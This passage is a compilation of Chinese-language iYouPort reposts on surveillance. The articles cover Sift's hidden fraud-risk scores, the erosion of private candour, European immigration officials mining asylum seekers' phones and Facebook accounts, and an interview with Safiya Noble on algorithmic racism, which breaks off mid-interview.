这些不同的元素可能不会有特别好的连贯性，但就像迪克最好的小说那样，但整体可能还是有用的，某种程度上。事实上，正是在迪克小说的不协调中，才能找到救赎（即使在他最疯狂的时候，他也保留着幽默感）。

显然，当一个人生活在其中时，就不那么容易看到可笑之处了。反乌托邦有时可能是严峻的搞笑 —— 但视角很少从内部而来。○

Philip K. Dick and the Fake Humans

原文

我们的行为一直在被秘密地"评分" - iYouPort

你我的灾难现实

有一种系统类似于中国的信用评分，除了被监视者无法看到自己的分数之外。它是什么样的？

「图」

「图」

几乎所有我们购买的产品、我们如何购买、以及我们购买的地方，都被秘密地提供给了人工智能支持的监视服务，帮助企业防范信用卡和其他形式的欺诈行为。

一项名为 Sift 的服务分析了超过16,000个信号，产生的“Sift 得分”范围为1–100。根据公司发言人的说法，该分数用于标记供应商可能希望根据个人或实体的整体“可信度”分数阻止的设备、信用卡和账户。

来自 Sift 网站的消息写道：“每次我们获得一个事件—— 无论是页面视图还是 API 事件—— 我们都会提取与这些事件相关的特征并计算 Sift 得分。然后根据我们在您的网站和我们的全球网络中看到的欺诈行为对这些功能进行权衡，并确定用户的分数。有些特征会对分数产生负面影响，也有些可能会对分数产生积极影响。“

该系统类似于中国的信用评分—— 除了被监视者无法找到自己的 **Sift** 评分之外。在这里看到视频：

影响一个人的 **Sift** 得分的因素包括以下这些：

- 帐户是新的吗？—— 使用一次性身份做匿名保护的人麻烦了；
- 电子邮件地址的末尾是否有很多数字？—— 喜欢数字的人麻烦了；
- 交易来自您帐户不寻常的IP地址吗？—— 使用代理保护自己的人麻烦了；
- 该交易是来自中国、俄罗斯还是东欧等黑客众多的地区吗？—

— 上述地区全麻烦了；
- 交易来自匿名网络吗？—— 隐私爱好者麻烦了；
- 交易是在一天中“奇怪的”时间发生的吗？—— 夜猫子麻烦了；
- 使用的信用卡是否有与之相关的退款？
- 浏览器与您通常使用的浏览器不同吗？
- 该设备与您通常使用的设备不同吗？
- 您输入密码的方式是否典型？（由一些先进的系统跟踪……）

该监视系统由 **Airbnb**，**OpenTable**，**Instacart** 和 **LinkedIn** 等公司使用。

使用此类服务的公司经常在其隐私政策中提及—— 请参阅 Airbnb—— 但我们中有多少人意识到我们的帐户行为是以安全的名义与我们从未听说过的公司分享的？一家公司与这些欺诈检测服务共享的信息中有多少被该服务的其他客户使用了？为什么我们不能自己访问这些数据、更新、更正或删除它？

根据 Sift 和具有类似评分系统的 SecureAuth 等竞争对手的说法，这种做法“符合”欧盟通用数据保护条例等法规，该法规要求公司不存储可用于识别真实人类的数据，除非他们给予许可。

不幸的是，Everlaw 的安全和合规负责人 Lisa Hawke 说，GDPR 一年前生效，其规则通常含糊不清。她补充道，所有这一切都必须在法庭上进行整理。

为了优化评分，“Sift 定期评估模型的性能，并尽量减少偏差和变化，以最大限度地提高准确性”，一位发言人表示。

“虽然我们不对客户的系统进行偏见审计，但我们使使用我们平台的组织能够尽可能多地了解用于做出决策的决策树、模型或数据，” SecureAuth 的首席安全架构师 Stephen Cox 说，“在某些情况下，我们可能不完全了解我们的服务和产品在客户环境中的使用方式。”

虽然 Sift 和 SecureAuth 追求准确性，但有时很难将真实的购买行为和欺诈区分开。

“有时候你最好的客户和最差的客户看起来都是一样的，”Patreon 的信任和安全主管 Jacqueline Hart 说，这是一个艺术家和创作者使用的网站，允许赞助者支持他们。“你可以让某人进来说我要承诺1万美元，他们要么是骗子，要么是艺术的惊人赞助人，”Hart 补充道。

如果一个帐户因其 Sift 分数而被拒绝，Patreon 会将该赞助人指向公司的信任和安全团队，“这对我们来说是一个重要的方式，我们可以从 Sift 评分中找出是否存在任何误报，并且如果它不应被标记为高风险，则恢复帐户，”Hart 说。

有许多潜在的迹象表明交易是可疑的。“令人惊讶的是，当有人未能有效登录时，你也知道这是一个真实的人”。机器人每次登录都很完美。最后包含大量数字的电子邮件地址和全新的帐户也更容易是欺诈，来自匿名网络（如*Tor*）的登录也是如此。*Sift* 发言人说。

根据发言人的说法，一个人的得分会根据用户的行为以及系统收集的任何新信息不断变化。

虽然 Sift 声称可以判断一个人是否可以信任，没有带有您姓名的文件可供审查，因为它不需要你的名字来分析你的行为，但是根据报告——这似乎是完全的 BS，

从技术上讲，可能会使用户数据难以或无法链接到真人。苹果和其他公司表示，他们采取措施防止这种“去匿名化”。而 *Sift* 不使用这些技术。个人姓名可以是其客户与之共享的特征之一，以确定交易的风险。公司生活在越来越大的起诉威胁之下，但正如刚刚发布的关于 *Facebook* 广告算法中的偏见的研究表明的那样，即使是最复杂的运营商也似乎并不完全了解他们的系统是如何表现的。

“我认为，在我们保护隐私的愿望中，我们必须要小心，因为我们是否会让好人无法履行必要的安全功能？” Anshu Sharma 是 Clearedin 的联合创始人，该公司是一家帮助公司避免成为电子邮件网络钓鱼攻击受害者的创业公司。

他建议的解决方案透明度。例如，当公司根据他们的 Sift 分数拒绝潜在客户时，它应该解释原因——即使这暴露了评分系统的工作方式。

但是为什么我们要被秘密地监视和评分呢？

We’re All Being Judged By A Secret ‘Trustworthiness’ Score. The system is similar to a credit score—except there’s no way to find out your own Sift score.

原文

我们还有机会说悄悄话吗？互联网时代的坦诚之死 - iYouPort

你如何正在被互联网所改变-媒介效应你我的灾难现实

曾经你说出的话不论有多不中听，都会被对方遗忘，只是时间问题；而现在，你说的每一个字、一举一动，都会被永久保存；也许有一天，会变成呈堂证供……

「图」

「图」

美国记者奥利维亚·纳兹（Olivia Nuzzi）在2014年这样写道：“你的言谈举止是旁若无人的。而你不知道这一切都会被记录，并且有一天。可能会在证言中被大声朗读。”

如果听从了 Nuzzi 的建议就可以避免给 Kim Darroch 带来很多麻烦。

这位英国驻美大使在外交备忘录中形容特朗普及其政府“无能”和“完全失灵”后，被迫辞职。因为这些外交备忘录随后泄露给了《星期日邮报》。

Darroch 的罪名绝非哪种 “不正确的行为”。全世界似乎唯一不同意这位大使的评估的人是特朗普本人 —— 特朗普在随后的一系列失常的推文中称这位公务员“古怪”和“非常愚蠢”。

但是不可否认的是，这些备忘录并不是外交行为。驻美国大使的一项重要技能是平衡两个相互竞争的要求：诚实地向上级报告总统无能的事实，同时，与无能的总统保持友好。

Darroch 绝不是第一个因私人想法被曝光而面临麻烦的人。

电子邮件被入侵并被公开（《尴尬的启示》Donna Brazile）；被认为已关闭的麦克风实际上仍在广播（《更好的道歉》，Gordon Brown)）；旧的博客文章被以新的方式重新挖出来（Ben Bradley）

……这个列表似乎永无止境。

「图」

「图」

Gordon Brown faces the media after he was overheard calling Gillian Duffy a ‘bigoted woman’, 2010. Photograph: David Fisher / Rex Features

越来越清楚的是，实际上只有两种方法可以避免这种情况。

首先是要避免进入公众视野。

但这越来越难：您可能会忽然被某个名人转推、虽然您的 Facebook 帖子已设置仅限好友但却在一个私人群组中被分享，或者只是被拍摄到在公共场合做了一些奇怪虽然无害的事 ……

你必须承认 “public” 是一个滑动的指标。

原本发送给只有4人的WhatsApp群组的消息被重新发送到有20人的群组中，或者更大的上百人的群组，您仍然可以觉得它是 “未公开” 的，但是，如果您在被朋友出卖方面毫无经验，那么它可能毁了你的人生。

因此，第二点是：确保您不论是公开还是私下，仅仅谈论关于任何问题的大众化的、礼貌的、和被认可的意见。其余一概不要说。

如果您必须做到直言不讳，请尝试确保在面对面的对话中，最好是没有任何笔记和录音的情况下进行。就像奥巴马用的那种衬有锡纸的帐篷。

即使这样，您仍可能会遇到对话者令人尴尬的回忆录。

因此，也许最好保持沉默……？？？

但是，坦白地说，直言不讳的死亡绝对是一场灾难。

您只能选择那些经过仔细衡量的字词，你必须假定一切都会在某一天被公开甚至被用来断章取义地羞辱你。即使是关上门说悄悄话，面对一个无能的总统所产生的愤怒也必须被压制下去。

「图」

「图」

Barack Obama is briefed in a tinfoil-lined tent on the situation in Libya, 2011. Photograph: Pete Souza/Official White House Photo

稍停片刻，盘点一下近几年来你被浪费掉的生活，其中有多少东西已经被记录、被存档、并可搜索。熟悉 “开源情报” 调查的每个人都不会怀疑这点。

您可能已经很少打电话了，而是通过 WhatsApp、Facebook 和 Twitter 发送更多的消息。现在几乎可以肯定的是，您的一举一动、每一个想法都有记录，要么藏在 **iPhone** 里，要么存储在 **Google** 和腾讯的服务器上。

并且可以肯定的是，如果您是一位早期互联网使用者，那么您可能已经在十年前就开始在 Facebook 上发布并标记了个人照片，而今天的机器学习算法利用的就是你曾经发布过的这些内容 —— 用来识别你。

- 《你在线发布的所有照片都变成了瞄准你的黑枪》

你看不到你曾经发布过的所有消息的日志。您的电子邮件受公司信息安全负责人监管（现在向首席执行官报告，而不是IT负责人）。所有监视资本家都以这种凶猛的方式保护自己的 ‘云’，你知道，就如庄园主保护自己的羊那样。

「图」

「图」

那是因为我们的辩论中缺少这句话：他们侵犯了某种形式的隐私。企业家和激进主义者 MaciejCegłowski 称其为“环境隐私”：“这种理解使我们彼此之间的日常互动具有价值，它不应受到监控，而且我们日常生活中的小细节也应被遗忘。我们在家里、在工作中、在教堂、学校或业余时间里所做的一切都不应该被永久记录。绝大多数谈话不应该被存储。”

坦诚的死亡是我们日常生活中广泛缺乏环境隐私的一种征兆。

监视资本主义状态不仅阻止所有人公开的言论，甚至私下的言论也不

再安全。这种状态不允许你通过互联网传输任何可能危害自己就业前景的信息。你必须审核自己所有言话，以确保它在所呈现的上下文之外没有任何其他的引申含义。

Cegłowski 指出，没有外部机构来强制进行这种自我审查，至少在西方没有，这是人们自主进行的：在中国和沙特阿拉伯那种国家，同样的能力被用作社会控制的工具。

在西方，监视资本家正在使用对你的数据的收集和分析以操纵你的行为。全面监视的基础架构在全球都是相同的，并且各处都在大规模部署。

另一个框架使问题变得清晰了。问题不在于数据泄露：而是“数据排放”，即 作为我们数字生活的副产品而产生的信息。

如果它仅仅被用来压制坦诚、削弱我们表达自己的自由、并为威权国家提供令人恐惧的能力，那么这种数字排放的风险就已经是非常严重的。

但问题更有，竞争环境是不公平的。有两组人浮出水面，周围的环境隐私的消失完全不会伤及他们。

第一种是天使：那些内心深处的思想已经可以安全表达的人，那种永远不需要在背后说话的人，因为他们想要说的话可以自由表达出来，而不会有任何无所事事的评论来咬他们，他们说的每个字都经过深思熟虑，没有把柄。

这样的人几乎不存在。

第二类则是摒弃了一致性的观念、将粗鲁性提升为一种美德的人，他们破坏了共享现实的整个概念。

如果您以一贯的诚实为基础建立了声誉，那么一次虚伪就可能毁于一旦。但是，如果您因撒谎被报纸开除后当选了国会议员 …… 你几乎可以不用写任何东西了；你还会被贴在公交车身上，就像 Boris Johnson 那样。

同样，在背后将总统称之为无能也可能有失大使风范；但是，如果像 Nigel Farage 那样养成习惯，面对谈判对手时直接说 “你有令人失望的所有魅力和低级银行业务员的外表” …… 那这封邮件被泄漏又怎么可能会伤害到您呢？

「图」

「图」

Kim Darroch shakes hands with Donald Trump, 2018. Photograph: @KimDarroch/Twitter

威胁不仅仅是对政治的。我们越是去适应缺乏“环境隐私”的环境，世界就越会更加分裂：我们中最厚颜无耻的人会升至顶峰，他们的糟糕表现就根植于他们的声誉中，他们可以毫无顾忌地不断重新诠释这点，而其余的所有人不得不远离公众领域，不断寻找着那种不会保存记录的新空间。

但是，就如同您不可能仅仅通过改变自己的生活习惯来应对气候危机一样，您也无法自己赢得 “环境隐私”。

风险是社会的风险，需要在社会层面上加以应对。您可以尝试，当然。退出 Facebook 可能等同于将您的汽车换成自行车；删除所有推文，就像坐火车去度假而放弃飞机……

这样做会有所帮助，如果每个人都这样做，就会带来很多帮助。

但是，大多数人都没有这样做。仅仅极少数人的个人选择可能没有帮助。

将塑料袋换成帆布袋可能需要数年才能看到回报。从公开的 Twitter 转移到私密的 Facebook 群组却只能给人一种隐私的错觉。它仍在 Facebook 上，仍然受到监视、存档和算法的操纵。

Cegłowski 总结说：“大规模监视的基础设施太复杂，技术寡头垄断太强大，以至于谈论所谓的知情同意已经没有任何意义。”

“我相信Google的 Sundar Pichai 和Facebook 的扎克伯格对隐私的个人承诺是真诚的，就像我确信美孚石油和壳牌公司的首席执行官们也不希望自己的孩子生活在失控的全球变暖世界里。但是，他们的核心业务活动与他们自称的价值观完全不相符。

“我们关于隐私的讨论需要扩展，以解决有关自动化作用的基本问题：我们的一举一动都进入了公司数据库的后果是什么？我们的孩子从小就被迫适应各种机器学习算法以塑造其行为，这意味着什么？”

- 《定制人如何终结了民主》

但个人行动依旧很重要。它可以作为支持更广泛斗争的信号。更多人开始加入斗争就会给寡头公司带来压力；反抗的意识在个人心理层面也是很有帮助的。

下载一个诸如 Jumbo 之类的隐私应用程序，并使用它来锁定您的 Facebook，清理您的Google历史记录并清除您的推文。从 WhatsApp 切换到 Signal，从 Instagram 切换到 Snapchat，读过的邮件随手清除。把 Alexa 从您的房子里扔出去 …… 为坦诚而战。

- 不要让《你家冰箱成为呈堂证供》

但是，如果您确实认为您的电子邮件可能有一天会被大声朗读出来，那么就遵循 Nuzzi 的建议吧。在错误的地方坦诚是一个错误，这样的错误您只会犯一次。〇

原文

手机元数据和 Facebook 个人信息如何决定了一个人的命运？- 逃难之旅的新坎坷 - iYouPort

你我的灾难现实

“这样做是不道德的，这是严重的隐私侵犯。这些人已经没有家了，手机几乎是他们唯一的私人空间”……英国警方得到了以色列移动监视公司 Cellebrite 的帮助，使用他们的软件，官员可以访问搜索历史记录，包括已删除的浏览历史，还可以从某些 Android 手机中提取 WhatsApp 的消息！

「图」

「图」

欧洲领导人想要降低移民数量，智能手机上的元数据正是他们开始遣返移民所需要的。

智能手机已帮助数万名移民前往欧洲。电话意味着你可以与家人保持联系 — 或与人口走私者保持联系，人贩子控制者边境路线，你无法摆脱他们，只能配合。

手机上也有关于政策变更或防止诈骗的 Facebook 群组，有关于如何避免边境警察之技巧的WhatsApp 群组。现在，政府正在利用移民的智能手机以驱逐他们。

在整个大陆，移民们正面临着蓬勃发展的“移动取证”行业，该行业专门提取智能手机的消息，位置历史信息，甚至 WhatsApp 数据。这些数据有可能成为对手机持有者的威胁。

2017 年，德国和丹麦都扩大了法律，使移民官员能够从寻求庇护者手机中提取数据。比利时和奥地利也提出了类似的立法，而英国和挪威多年来一直在搜查寻求庇护者的电子设备。

随着欧盟右转，陷入困境的政府正争先恐后地降低移民数量。处理“欺诈性庇护申请”似乎是一种简单的方法。上周，欧洲领导人在布鲁塞尔举行会议，讨论一个新的、更加强硬的移民管理框架 — 但这似乎不足以安抚 Angela Merkel 在德国的批评者 — 欧洲各地的移民机构对法律表现出了新的热情，使移动电话数据变成了能够用于驱逐人的工具。

不可否认，一些难民确实对他们的庇护申请撒谎了。奥马尔 — 不是他的真名 — 当然也是这样做的。他通过希腊前往德国。因为即使对像他这样的叙利亚人来说，欧盟也没有什么合法的选择。但他的路线意味着他可能会根据欧盟都柏林法规被驱逐出境，该法规规定寻求庇护者必须在他们抵达的第一个欧盟国家申请难民身份。

对于奥马尔而言，这意味着他必须在希腊定居 — 考虑到高失业率和紧张的社会服务，这几乎不是一个有吸引力的目的地。

根据都柏林的规定，去年有超过 7,000 人被驱逐出德国。如果奥马尔的电话被搜查，他就会成为其中之一，因为他手机上的位置历史记录将揭示他通过欧洲的路线，包括他到达过希腊。

但他是幸运的，因为在他接受庇护面谈之前，他遇到了 Lena — 也不是她的真名。作为一名难民倡导者和女商人，Lena 读过关于德国新监视法的文章。她鼓励奥马尔把手机扔掉，并告诉移民官员，手机在他住的难民营里被盗了。

“那些难民营因犯罪而闻名，” Lena 说，“所以这个故事看起来很可信。” 目前奥马尔的申请仍在审理中。

奥马尔不是唯一一个只能向国家官员隐藏手机数据的寻求庇护者。社会学教授 Marie Gillespie 在研究 2016 年前往欧洲的移民的电话使用情况时，她发现了人们对手机监控的普遍恐惧。她说，“手机是人们旅行的必需之物和基本工具，但同时它也构成了威胁”。她看到移民们保留了多达 13 种不同的 SIM 卡，在旅途中将这些卡藏在身体的不同部位。

移民官员越来越多地使用手机来验证移民的身份，并确定他们是否有资格获得庇护。（收集元数据会显示他们是否正在逃离面临暴力或迫害风险的国家）在德国，2016 年只有 40% 的庇护申请人可以提供官方身份证件。其他 60% 的人的国籍通过语言分析 — 使用人工翻译和计算机来确认他们的口音是否真实 — 以及手机数据验证。

在德国电话搜索法生效后的六个月里，移民官员搜查了8000 部电话。如果他们对寻求庇护者讲述的故事有所怀疑，他们会提取手机的元数据 — 数字信息，可以显示用户的语言设置以及他们拨打电话或拍照的地理位置。

为此，德国当局正在使用一种名为 **Atos** 的计算机程序，它结合了两家移动取证公司 — **T3K** 和 **MSAB** 制造的技术。下载元数据只需几分钟。“对移动电话数据的分析绝不是做出庇护申请决定的唯一依据，”德国移民局 BAMF 的发言人说。但他们确实使用这些数据来寻找申请人的陈述。例如，如果有人说自己 9 月份在土耳其，但电话数据显示他实际上当时在叙利亚，他们就可以决定需要进行更多的调查。

丹麦的做法更近了一步，向移民索要他们的 **Facebook** 密码！难民小组已经注意到，Facebook 平台被越来越多地用于核实寻求庇护者的身份。

这种事最近发生在来自叙利亚的 36 岁难民 Assem 身上。他的 Facebook 个人资料将告诉你关于他的两件事：首先，他支持反对叙利亚阿萨德政权的革命，其次，他是巴塞罗那足球俱乐部的忠实粉丝。当丹麦移民官员要求他提供密码时，他心甘情愿地给了他们。

“那时，我不在乎他们在做什么。我只是想离开庇护中心，“他说。虽然 Assem 对此请求不满意，但他现在毕竟有难民身份了。

丹麦移民局承认他们确实要求庇护申请人查看他们的 Facebook 个人资料。虽然不是标准程序，但如果工作人员认为他们需要更多信息，就可以要求交出密码。如果申请人拒绝交出密码，他们就会被告知“有义务遵守丹麦法律”。现在，他们只要求 **Facebook** 密码 — 而不是 **Instagram** 或其他社交平台。

在整个欧盟范围内，权利团体和反对党人纷纷质疑这些搜查是否符合宪法，引起人们对侵犯隐私、以及先搜查罪犯一样对待移民所产生的不良影响的担忧。

“在我看来，要求获取密码登陆 Facebook 或打开某人的手机，是违反隐私权道德规范的，”丹麦难民欢迎运动的 Michala Clante Bendixen 说。“对于寻求庇护者来说，他们已经没有家了，手机通常是他们能留下的唯一私人空间。”

来自手机和社交媒体的信息提供了另一种可以与寻求庇护者自己的证

词相竞争的现实。“他们的电话是对个人历史的更有力的证明，而不是准备被披露的内容”，隐私国际执行董事 Gus Hosein 说，“这种搜查是前所未有的。”

隐私权运动人士注意到，数字信息可能无法准确反映某个人的角色。“因为一个人的手机上有如此多的数据，你可以做出非常彻底的判断，这可能不一定是真的，”隐私国际的技术专家Christopher Weatherhead 说。

Bendixen 引用了一名男子的案件，他的庇护申请在丹麦当局检查他的电话后遭到拒绝，因为检查者看到他的 Facebook 帐户在他所说的入狱期间曾留下了评论（监狱里不能使用手机）。他解释说他的兄弟也可以访问他的账户，评论不是他自己写的，但当局不相信他。他目前正在等待上诉。

英国内政部发言人告诉记者，他们不会检查寻求庇护者的社交媒体，除非他们涉嫌犯罪。但是尽管如此，英国律师和社会工作者也报告说，社交媒体搜查确实发生了，尽管尚不清楚这些现象是否反映了官方政策。内政部没有回应关于此事的澄清要求。

隐私国际组织已经调查了英国警察搜索电话的能力，表明移民官员可以拥有类似的权力。“令我们惊讶的是这些手机搜查的详细程度。警方甚至可以访问您自己都无法访问的信息，例如已经删除的邮件，“**Weatherhead** 说。

他的团队发现英国警方得到了以色列移动监视公司 **Cellebrite** 的帮助，使用他们的软件，官员可以访问搜索历史记录，包括已删除的浏览历史，还可以从某些 **Android** 手机中提取 **WhatsApp** 的消息！

真的是太讽刺了。智能手机长期以来一直是一种解放工具，然而如今它已成为数字犹大。如果你站在 2015 年的雅典维多利亚广场上，在难民危机最严重的时候，你会能看到一片低头族：数百名叙利亚人、伊拉克人和阿富汗人，站在或坐在这片阳光普照的草地和混凝土上，低着头，看着他们的手机。

智能手机已成为现代移民的必备配件。作为寻求庇护者前往欧洲是昂贵的，无力购买手机的人通常无法负担这些旅程。电话在通往北欧的途中成为一个不变的特征。2016年，联合国难民机构报告说，移动电话对欧洲的移民来说非常重要，他们通过手机支出了高达三分之一的收入。

现在，随着世界各国政府扩大了搜查寻求庇护者手机的能力，移民被迫面对更危险的现实。虽然欧洲国家放宽了有关元数据搜索的法律，但去年美国移民在手机黑客软件上花费了 220 万美元。寻求庇护者也正在改变自己的行为，因为他们越来越意识到智能手机，即为他们带来如此多自由的设备，可能正在变成决定他们命运的东西。

"Europe is using smartphone data as a weapon to deport refugees"

European leaders need to bring immigration numbers down, and metadata on smartphones could be just what they need to start sending migrants back

原文

无形的极权主义 - iyouport

你我的灾难现实

【2019年3月20日存档】技术不是中立的。如何使用它以及为了什么目的反映了特定文化的社会规范和价值观。因此，在世界各地，算法和其他类型的人工智能通常会复制社会不平等并为强国的利益服务 ——而不是创造一个更平等、自由和公正的社会民主的范式。推荐一段对话。

虽然我们无法直接感知算法，但我们在日常生活中一直都在被算法所包围着：它们控制着我们与设备交互的方式，控制我们使用计算机和 ATM 以及移动世界的一切。

位于计算机程序和AI深处的算法有助于管理主要道路和高速公路上的交通模式；银行和其他贷方也使用算法来确定一个人是否该被视为“有价值”；算法还决定了 Google 等搜索引擎上被显示的结果、以及通过 Facebook 等社交媒体平台你能看到什么样的信息。五角大楼与私营工业联合正在开发的算法将赋予无人驾驶飞机自主决定如何以及在什么情况下使用致命武力对付人类……

技术不是中立的。如何使用它以及为了什么目的反映了特定文化的社会规范和价值观。因此，在世界各地，算法和其他类型的人工智能通常会复制社会不平等并为强国的利益服务—— 而不是创造一个更平等、自由和公正的社会民主的范式。

计算机算法产生这些结果的具体方法是什么？谷歌和其他搜索引擎如何成为了传播种族和性别偏见观念的手段？在一个“大数据”和算法无处不在的时代里，这些技术和实践如何真正破坏了民主—— 并同时推进了威权主义和其他极右翼运动的事业？社交媒体和其他形式的数字技术是否通过让人们更加孤独和疏远社会而抑制了反抗的动力？

为了回答这些问题，我最近采访了南加州大学安纳伯格传播学院教授 Safiya Noble，她最近写了一本新书，题为《压制性的算法：搜索引擎如何加强了种族主义》。Noble 教授还是 Stratelligence 的合伙

人，该公司专门研究信息和数据科学挑战。她还是信息伦理与公平研究所的联合创始人，该研究所为致力于将其信息管理实践转变为更公正、合乎道德和公平之结果的组织提供培训。

以下是这场对话的简洁版。

Q：在这个政治时刻，当民主在美国和其他国家受到围困时，你会更广泛地阐述 Facebook，Twitter 和互联网在其中充当的角色吗？

A：我们的社会正在全面数据化发展—— 我们的每一步行动都在被跟踪，我们的每一种感觉和每一次接触都被收集和描述，它正在改变我们所有人并颠覆我们的自由。

这些进程真正破坏了我们的公民自由和公民权利。这是一个让公众变得麻木失去控制的彻底时刻。而且，甚至失去了了解自己正在被控制的能力。这是专制独裁政权的全面完美时刻。我们正在世界各地的独裁运动中看到这一点。

例如，当剑桥分析公司的丑闻在 Facebook 爆发时，我与人们交谈，他们告诉我，“好吧，我又能怎么办呢？我必须有[Facebook]。“退出参与这些大数据项目并不是一件容易的事。它们已经被武器化了并用于对抗公众。

人们崇拜这些监视资本主义巨头公司，他们的主要文化认同就在于这些公司，而不是社会运动或价值观和想法。

我曾经做过广告工作，现在我是一名学者。几十年来我注意到人们如何失去了个人控制和权力。人们现在谈论他们的权利的方式实际上是为大公司腾出空间以对他们自己的生活产生巨大影响。这个社会系统失败的时刻即将到来，我们将不得不做出一些非常艰难的决定。

Q：孤独是法西斯主义和其他类型的专制政权的先决条件。研究表明，孤独和社会异化无疑是选民涌向极右翼的原因之一。社交媒体技术在创造和培养这种社交萎靡方面的作用是什么？

A：孤独可能更多是我们与这些技术接触后的副产品，而不是说孤独或异化是前兆或存在于自身。总的消费者体验是，当你失去真正的社会力量和真正的经济机会时，你需要一种方法来解决你感受到的异化。

那就是社交媒体或技术—— 这些数字干扰—— 成为了处理这些感受以及做其他类型的情感劳动的好方法。例如，我教我的学生关于“快

时尚”。如果你和时尚学者谈过话，他们会这样告诉你，“嘿，听着，当你无力上大学时，因为现在获得学位是10万美元。哥们，在 H＆M 买20美元两件的毛衣真是太棒了。“

这就是人们正在经历的现实。你怎么能不觉得肯定会有一种方法可以从你的内啡肽中获得高值？当然，我们知道人们在社交媒体中获得的即时满足感很重要，它触发了人们在生活中其他方面无法获得的心理和情感兴奋剂。

孤独问题更多是源于没有住房、缺乏实际工资、缺乏负担得起的教育等因素带来的。那令人难以置信的孤独，唤起了人们绝望的真实感受。他们没有停下思考，而是转向了其他地方以获得安慰。

Q：“互联网作为一种伟大的社会平等者和创造机会与自由的空间以拯救我们“，这种错误观念从何而来？

A：早期的互联网用户和传播者总是把互联网视作为一个解放的网站，也就是那种无国籍、无国界、无阶级、无性别差异的地方。的确是，但那是早期的商业化前互联网时代。

随着时间的推移，互联网全面商业化了，互联网成为了 Facebook、互联网就是谷歌。普通用户无法真正了解互联网之外的内容。人类被归为了 Google 及其产品，作为人们所依赖的基本知识或感知的工具。

人们已经开始将它们视为一种既热闹又悲惨的民主形式。人们与互联网互动，互联网又是另一个拥有众多参与者的企业商业空间。当然，我们知道互联网是社会的一面镜子，它是种族化的、它是性别化的、它是一种基于阶级的经验。

所有这些限制将被消除的承诺都是骗人的。

不幸的是，很多人觉得他们在网上的参与是“参与真正民主的一种方式”。太多人实际上相信这点，因为他们可以评论或以其他方式进行在线参与，它伪装成了一个完全自由和民主的空间。

而人们看不见算法。算法是隔离和创造的市场，是谁能看到哪些类型的消息或广告的消费者市场。这对所有人来说都不是自由的。这是一个被高度策划了的空间。

相对于技术和这些平台的“民主”并不能取代任何层面上的真正民主——它们会排除人们的批判性思考的可能性（如果批判性思考曾经存在

的话），因为在这些空间中移动的是广告驱动的内容。这实际上与基于证据的研究、或对民主至关重要的其他形式的知识，都非常的不同。

Q：算法和相关技术如何重现了社会不平等？可以举一些例子吗？

A：这些平台的兴起与公共信息领域的日益萎缩接连发生。例如，公共信息领域包括公立学校、公共图书馆、公立大学和公共媒体，这对于在我们的社会中建立共同教育和共同知识基础非常重要。这些也是公平代表、历史准确性和报告我们社会面临的问题以及其他挑战的政治斗争的重要场所。

在巨头公司控制的媒体扩张的同时，公共领域正在萎缩。

我们看到的是，那些拥有最多资本的公司参与者能够将他们的内容优化到信息堆的顶端。搜索引擎尤其如此。具有大量技术技能的个人和团体也能够优化他们的存在。例如，白人民族主义者拥有令人难以置信的技术技能，你不会相信他们在控制有关种族和种族关系的语话方面有多高效。他们擅长诋毁 Black Lives Matter 等社会运动以及其他类型的人民运动，因为他们也得到了右翼组织和亿万富翁的充分资助。

这就是一个拼资本的世界。

如果你既有资本又有技术技能，那么你就可以用第三种力量来控制世界，那就是硅谷，人们正在开发这些平台。这些工程师和其他设计师中的许多人甚至在相信他们自己正在开发据称将成为伟大的解放者或知识解放者的平台时，甚至无法识别这些社会力量。

总之，这是一个真正的混乱，我认为，这是导致新型法西斯主义兴起的原因。这些想法正在网络上被规范化。那些被剥夺了权利的人，那些在美国和其他地方被钉在种族主义和性别歧视政策十字架上的人并没有很多资本，他们也可能没有很多技术实力，他们当然更没有深深植根于硅谷。

Q：人们认为这些技术是“中立的”，它们不可能是“种族主义者或性别歧视者”，你如何反驳？

A：这是典型的奥本海默式反应—— 我们不得不制造氢弹，因为它是“科学”。“我们必须处理符合科学最佳利益的事，如何应用这些研究取决于政治家。”这些实际上是社会问题。这通常是硅谷工程师谈

论他们所做工作的方式，也就是说，“我们建立工具，他们是中立的。如果它们被破坏，那是因为人们与他们接触并使用它们的方式所造成的。“

首先，我们都知道计算机语言被称为语言，正因为它们是主观的。如果编程语言是主观的，那么它们是高度可解释的。例如，搜索引擎是特定类型的AI。

AI是关于自动化决策的。如果存在这些条件，则应采取这些措施。如果没有主观的思考优先级和时间优先级的过程，就无法进行逻辑和自动决策。

这些不是数学问题。它们非常主观。事实上，谷歌本身已经表示，有超过200个因素可用于开发其搜索技术以及如何排序信息的优先级。那么，这些因素究竟都是什么？我们看不到它们—— 包括谷歌为中国制造的“蜻蜓”，但我们当然可以看看结果。

代码试图迎合大多数人的感知，这就是为什么“女孩”在搜索引擎结果方面成为色情内容的同义词的原因之一 ：因为想要以特定方式寻找“女孩”的观众最有可能是寻找色情内容的男性。这是通过算法和AI的设计做出的主观决定。

Q：关于谷歌和其他搜索引擎如何加强了种族主义和性别歧视，如搜索词“黑人女孩”所示那样，对此我们知道些什么？

A：多年来，直到2012年秋天，第一个结果都是“sugaryblackpussy.com”，其次是一系列色情网站或其他深度性感的网站。这是第一页上80％的内容—— 当然这是最重要的，因为大多数人通常不会继续翻找下一页。多年来，色情内容是搜索“黑人女孩”的主要结果。

拉丁裔和亚洲女孩也是如此。由于引发了严重争议，谷歌改变了“黑人女孩”的算法。几年来一直有很多关于它的讨论。通过这些搜索引擎结果，色情内容是非白人妇女和女孩在线搜索结果的主要代表内容。这与主流的陈规定型叙述高度一致，这些叙述被用来合法化对美国和全球社会中非白人妇女和女孩的公民权剥夺。色情制品不仅不是性解放，更是资本主义和对女性身体和女性性行为的暴力控制的功能性反映。

Q：在生成这些搜索引擎结果时，算法会做出哪些类型的决策？

A：谷歌的网络抓取工具正在寻找流行的东西，他们也希望看到什么

带有大规模超链接，他们还试图找出什么是欺诈性的。谷歌有一个认真和真实的努力，例如不能将某些类型的内容放到首页，因为“这在内容某些国家可能是非法的‘。

但在另一个层面上，您可以使用 Google Adwords 等工具优化内容的排序。有些人会付钱给谷歌以让自己的内容更加醒目和获得高位排名。

当我们谈论民主时，这一点非常重要—— 少数族裔永远无法获得这种优势，特别是如果他们无法获得货币和其他类型的资源时。在政治游戏里方面这种能力非常重要，因为某些参与者能够确保他们的信息被广泛传播，无论它是虚假的、危险的、性别歧视的、种族主义的还是其他类似的。由于人们试图购买关键字并将最糟糕的内容优化到搜索排名的前几位，就完全可以影响所有人的思考方式。

Q：最近有一个案例，由于人工智能与互联网上的用户互动，它“学会”了种族主义和性别歧视。这是“垃圾中的垃圾”的典型例子吗？

